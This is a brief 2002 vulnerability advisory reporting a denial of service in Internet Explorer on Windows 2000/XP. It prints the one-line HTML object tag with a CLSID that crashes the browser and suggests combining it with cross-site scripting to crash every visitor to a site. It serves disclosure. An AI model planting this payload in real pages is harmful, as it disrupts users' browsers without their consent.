27th Jun 2002 [SBWID-5488]
COMMAND
IE HTML DoS
SYSTEMS AFFECTED
IE and Windows 2000 / XP
PROBLEM
\'ken\'@FTU says :
The following line of code will crash IE when the OS is Windows 2000 or
Windows XP.
<!-- start dosIE-doe.html -->
<object ID=\"dosIE-doe\"
CLASSID=\"CLSID:00022613-0000-0000-C000-000000000046\" </object>
<!-- end dosIE-doe.html -->
If it were combined with another vulnerability its effect may be much
worse. (Say a XSS vulnerability also exists and an attacker could crash
the browser of every user that visits your ecommerce site...)
